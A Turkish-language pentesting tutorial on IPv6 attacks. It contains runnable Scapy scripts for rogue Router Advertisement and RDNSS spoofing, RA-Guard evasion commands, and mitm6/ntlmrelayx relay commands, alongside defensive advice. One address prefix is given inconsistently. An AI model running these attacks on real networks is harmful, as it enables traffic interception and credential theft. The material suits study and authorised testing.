Pentesting IPv6
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
IPv6 Temel Bilgileri
Ağlar
IPv6 adresleri ağ organizasyonu ve cihaz etkileşimini geliştirecek şekilde yapılandırılmıştır. Bir IPv6 adresi şu parçalara ayrılır:
- Ağ Öneki: İlk 48 bit, ağ segmentini belirler.
- Alt Ağ ID: Ardındaki 16 bit, ağ içinde belirli alt ağları tanımlamak için kullanılır.
- Arayüz Tanımlayıcısı: Son 64 bit, alt ağ içinde bir cihazı benzersiz biçimde tanımlar.
IPv6, IPv4’te bulunan ARP protokolünü içermese de iki ana mesajı olan ICMPv6’yı tanıtır:
- Neighbor Solicitation (NS): Adres çözümlemesi için multicast mesajları.
- Neighbor Advertisement (NA): NS’ye unicast yanıtları veya kendiliğinden yapılan ilanlar.
IPv6 ayrıca özel adres tiplerini içerir:
- Loopback Address (
::1): IPv4’ün127.0.0.1adresine eşdeğerdir; host içinde dahili iletişim için kullanılır. - Link-Local Addresses (
FE80::/10): Yerel ağ etkinlikleri için kullanılır, internet yönlendirmesi için değildir. Aynı yerel ağdaki cihazlar bu aralığı kullanarak birbirlerini keşfedebilir.
IPv6’in Ağ Komutlarında Pratik Kullanımı
IPv6 ağlarıyla etkileşim kurmak için çeşitli komutlar kullanabilirsiniz:
- Link-Local Adreslere Ping: Yerel cihazların varlığını
ping6kullanarak kontrol edin. - Neighbor Discovery: Link katmanında keşfedilen cihazları görmek için
ip neighkullanın. - alive6: Aynı ağdaki cihazları keşfetmek için alternatif bir araç.
Aşağıda bazı komut örnekleri bulunmaktadır:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 adresleri, yerel iletişim için bir cihazın MAC adresinden türetilebilir. Aşağıda bilinen bir MAC adresinden Link-local IPv6 adresinin nasıl türetileceğine dair basitleştirilmiş bir rehber ve ağ içindeki IPv6 adres tipleri ile IPv6 adreslerini keşfetme yöntemlerinin kısa bir özeti bulunmaktadır.
Deriving Link-local IPv6 from MAC Address
Given a MAC address 12:34:56:78:9a:bc, you can construct the Link-local IPv6 address as follows:
- Convert MAC to IPv6 format:
1234:5678:9abc - Prepend
fe80::and insertfffein the middle:fe80::1234:56ff:fe78:9abc - Invert the seventh bit from the left, changing
1234to1034:fe80::1034:56ff:fe78:9abc
IPv6 Address Types
- Unique Local Address (ULA): Yerel iletişimler içindir, kamu internet yönlendirmesi için amaçlanmamıştır. Prefix:
FEC00::/7 - Multicast Address: Bire çok iletişim içindir. Multicast grubundaki tüm arayüzlere teslim edilir. Prefix:
FF00::/8 - Anycast Address: Bire en yakın iletişim içindir. Yönlendirme protokolüne göre en yakın arayüze gönderilir.
2000::/3global unicast aralığının bir parçasıdır.
Address Prefixes
- fe80::/10: Link-Local adresleri (169.254.x.x’e benzer)
- fc00::/7: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x gibi özel IPv4 aralıklarına benzer)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Discovering IPv6 Addresses within a Network
Way 1: Using Link-local Addresses
- Ağ içindeki bir cihazın MAC adresini edinin.
- MAC adresinden Link-local IPv6 adresini türetin.
Way 2: Using Multicast
- Yerel ağdaki IPv6 adreslerini keşfetmek için multicast adresine
ff02::1bir ping gönderin.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
IPv6 ağlarında MitM saldırılarını gerçekleştirmek için birkaç teknik vardır; örneğin:
- Spoofing ICMPv6 neighbor or router advertisements.
- Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
- Setting up a rogue DHCPv6 server.
IPv6 Adreslerini Tespit Etme
Alt Alan Adlarını Keşfetme
IPv6 adresleriyle ilişkili olabilecek alt alan adlarını bulmanın bir yöntemi arama motorlarından yararlanmaktır. Örneğin, ipv6.* gibi bir sorgu deseni etkili olabilir. Özellikle, Google’da aşağıdaki arama komutu kullanılabilir:
site:ipv6./
DNS Sorgularını Kullanma
IPv6 adreslerini belirlemek için belirli DNS kayıt türleri sorgulanabilir:
- AXFR: Tam bir bölge aktarımı talep eder, potansiyel olarak çok sayıda DNS kaydını ortaya çıkarabilir.
- AAAA: Doğrudan IPv6 adreslerini arar.
- ANY: Tüm kullanılabilir DNS kayıtlarını döndüren geniş bir sorgu.
Ping6 ile Sorgulama
Bir organizasyonla ilişkili IPv6 adreslerini belirledikten sonra, sorgulama için ping6 aracı kullanılabilir. Bu araç, tespit edilen IPv6 adreslerinin yanıt verip vermediğini değerlendirmeye yardımcı olur ve bitişik IPv6 cihazlarını keşfetmeye de yardımcı olabilir.
IPv6 Yerel Ağ Saldırı Teknikleri
Aşağıdaki bölümler, herhangi bir global önek bilinmeden aynı /64 segmenti içinde gerçekleştirilebilen pratik layer-2 IPv6 saldırılarını kapsar. Aşağıda gösterilen tüm paketler link-local’dir ve yalnızca yerel switch üzerinden gider, bu da onları çoğu ortamda son derece gizli kılar.
Kararlı Bir Lab için Sistem Ayarları
IPv6 trafiği ile oynamadan önce, kendi testlerinizin makinenizi zehirlemesini önlemek ve büyük ölçekli paket injection/sniffing sırasında en iyi performansı elde etmek için makinenizi sertleştirmeniz önerilir.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Çünkü her IPv6 hostu otomatik olarak birden fazla multicast grubuna katılır (ff02::1, ff02::2, …) ve SLAAC/NDP için ICMPv6 konuşur, segmentin tamamını tek bir paket göndermeden haritalayabilirsiniz. Aşağıdaki Python/Scapy one-liner en ilginç L2 mesajlarını dinler ve kim kimdir bilgisini renkli, zaman damgalı bir günlük olarak yazdırır:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Result: birkaç saniye içinde tam bir link-local topology (MAC ⇄ IPv6), aktif taramalara dayanan IPS/IDS sistemlerini tetiklemeden.
Router Advertisement (RA) Spoofing
IPv6 host’ları varsayılan ağ geçidini keşfetmek için ICMPv6 Router Advertisements’a güvenir. Eğer sahte RAs’ı meşru yönlendiriciden daha sık enjekte ederseniz, cihazlar sessizce ağ geçidi olarak size geçer.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Yarışı kazandıktan sonra gerçekten forward traffic yapmak için:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Yönlendirici Duyurusu Bayrakları (M/O) ve Varsayılan Yönlendirici Tercihi (Prf)
| Bayrak | Anlamı | İstemci Davranışına Etkisi |
|---|---|---|
| M (Managed Address Configuration) | Segmentte DHCPv6 ile durum tabanlı adreslemenin kullanılabildiğini belirtir. | DHCPv6 spoofing’in işe yarayabileceğinin güçlü göstergesi. |
| O (Other Configuration) | Ana makinelerin diğer parametreler (DNS, NTP, …) için DHCPv6 kullanmaları gerektiğini belirtir. | Adres genellikle hala SLAAC’ten gelir, ancak DNS DHCPv6 ile ele geçirilebilir. |
| M=0 / O=0 | Tamamen SLAAC tarzı ağ. | DHCPv6 hiç görünmeyebilir; mitm6 yerine rogue RA / RDNSS’e odaklanın. |
| M=1 / O=1 | Karma ortam. | DHCPv6 ve SLAAC bilgilerinin bir arada bulunması mümkün; spoofing yüzeyi en geniş olur. |
Bir pentest sırasında meşru RA’yı bir kez inceleyip hangi vektörün uygulanabilir olduğuna karar verebilirsiniz:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Dump’ta flags [M,O] alanını arayın — tahmin yapmaya gerek yok.
The Prf (Router Preference) alanı RA header’ı içinde, multiple gateway’ler bulunduğunda rogue router’ınızın ne kadar çekici göründüğünü kontrol eder:
| Prf değeri | Binary | Anlamı |
|---|---|---|
| Yüksek | 10 | İstemciler bu router’ı herhangi bir Orta/Düşük olandan tercih eder |
| Orta (varsayılan) | 01 | Neredeyse her meşru cihaz tarafından kullanılır |
| Düşük | 00 | Daha iyi bir router yoksa seçilir |
When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Combining High Prf, a short interval, and a non-zero lifetime makes your rogue gateway remarkably stable.
RDNSS (DNS) Spoofing — RA üzerinden
{#ref}https://datatracker.ietf.org/doc/html/rfc8106{#endref} RA içinde bir Recursive DNS Server (RDNSS) seçeneği eklemeye izin verir. Bu, segment SLAAC-only (M=0 / O=0) ve istemciler DHCPv6 ile konuşmuyorsa tercih edilen DNS hijack primitive’idir. İstemci desteği implementation-dependent olduğu için, evrensel RDNSS tüketimini varsaymak yerine hedef işletim sistemini laboratuvarda doğrulayın.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Aynı paket, arama alanlarının önemli olduğu yalnızca IPv6 veya dual-stack ortamlarda kısa ad çözümleme yollarını zehirlemek için DNSSL seçeneğini de taşıyabilir. Saldırıyı temiz şekilde durdurursanız, aynı seçenekle ve lifetime=0 olarak bir revert RA gönderin.
RA-Guard Evasion in Practice
RFC 7113 belgesi, basit RA-Guard dağıtımlarının tüm IPv6 başlık zincirini ayrıştıramadıklarında veya fragmentlerde açık kaldıklarında neden atlatılabileceğini açıklıyor. Bu yeni bir araştırma değil, ancak birçok erişim anahtarının yalnızca kısmi filtreleme uygulaması nedeniyle operasyonel olarak hâlâ önemli.
Recent thc-ipv6 builds expose this directly in the tooling:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Use these only after confirming that a normal forged RA is being filtered. If -H/-D/-F suddenly makes hosts accept your rogue router, you have evidence that the switch is matching only the fixed IPv6 header instead of the real ICMPv6 RA payload.
DHCPv6 DNS Spoofing (mitm6)
Gerçek RA M ve/veya O ilan ettiğinde, Windows istemcileri genellikle adres veya yardımcı yapılandırma için DHCPv6 istekleri gönderir. mitm6 bu davranışı kötüye kullanarak DHCPv6’ya yanıt verir ve kısa bir kira süresiyle link-local IPv6 adresinizi DNS olarak ekler. Bu şunları mümkün kılar:
- NTLM relay attacks (WPAD + DNS hijacking)
- Yönlendiricilere dokunmadan iç isim çözümlemesini yakalama
- Düşük gürültülü hedefleme; zehirlemeyi belirli hostlara veya alanlara sınırlayabilirsiniz
Tipik kullanım:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Mevcut mitm6 sürümlerinden faydalı detaylar:
--no-raağ rogue RAs tespit ettiğinde saldırıyı yalnızca DHCPv6 ile sınırlı tutar.-d/--domainve--host-allowlistzehirlemeyi segmentteki her sorguyu ele geçirmek yerine dar tutar.--ignore-nofqdnDHCPv6 FQDN seçeneğini atlayan istemcilerden gelen gürültüyü azaltır.
Eğer segment saf SLAAC (M=0 / O=0) ise, mitm6 genellikle yanlış bir yöntemdir. Bunun yerine rogue RAs / RDNSS kullanın ve yüksek seviyeli relay mantığını the WPAD/relay page sayfasında tutun.
Savunmalar
- Yönetilen switch’lerde RA Guard / DHCPv6 Guard / ND Inspection.
- Sadece meşru router’ın MAC adresinden RA gönderimine izin veren Port ACLs.
- unexpected high-rate RAs veya ani RDNSS changes için izleme.
- Endpoint’lerde IPv6’yı devre dışı bırakmak genellikle modern servisleri bozar ve kör noktaları gizleyen geçici bir çözüm — bunun yerine L2 filtrelemeyi tercih edin.
NDP Router Keşfi — Misafir/Public SSID’leri ve Yönetim Servisi Açığa Çıkması
Birçok tüketici router’ı tüm arayüzlerde yönetim daemon’larını (HTTP(S), SSH/Telnet, TR-069, vb.) açığa çıkarır. Bazı dağıtımlarda “guest/public” SSID WAN/core ile köprülenmiş ve yalnızca IPv6’dır. Router’ın IPv6 adresi her açılışta değişse bile, NDP/ICMPv6 kullanarak bunu güvenilir şekilde öğrenebilir ve sonra guest SSID üzerinden yönetim düzlemine doğrudan bağlanabilirsiniz.
Guest/public SSID’ye bağlı bir istemciden tipik iş akışı:
- All-Routers multicast
ff02::2adresine ICMPv6 Router Solicitation göndererek router’ı keşfedin ve Router Advertisement (RA) yakalayın:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA, yönlendiricinin link-local ve genellikle bir global adres/ön ekini ortaya çıkarır. Sadece link-local biliniyorsa, bağlantıların zone index belirtmesi gerektiğini unutmayın, örn. ssh -6 admin@[fe80::1%wlan0].
Alternatif: mevcutsa ndisc6 suite kullanın:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Misafir SSID’den IPv6 üzerinden açığa çıkan servislere erişin:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Eğer management shell bir wrapper aracılığıyla packet-capture tooling sağlıyorsa (ör., tcpdump), ekstra tcpdump bayrakları gibi
-G/-W/-zgeçirilebilmesine olanak veren argüman/dosya adı enjeksiyonu için kontrol edin; bu, post-rotate komut yürütmeyi sağlar. Bkz:
Savunma/notlar:
- Yönetimi guest/public köprülerine bağlamayın; SSID köprülerinde IPv6 firewall’ları uygulayın.
- Mümkün olduğunda guest segmentlerde NDP/RS/RA için rate-limit uygulayın ve filtreleyin.
- Ulaşılmak zorunda olan servisler için authN/MFA zorunlu kılın ve güçlü rate-limitler uygulayın.
Referanslar
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


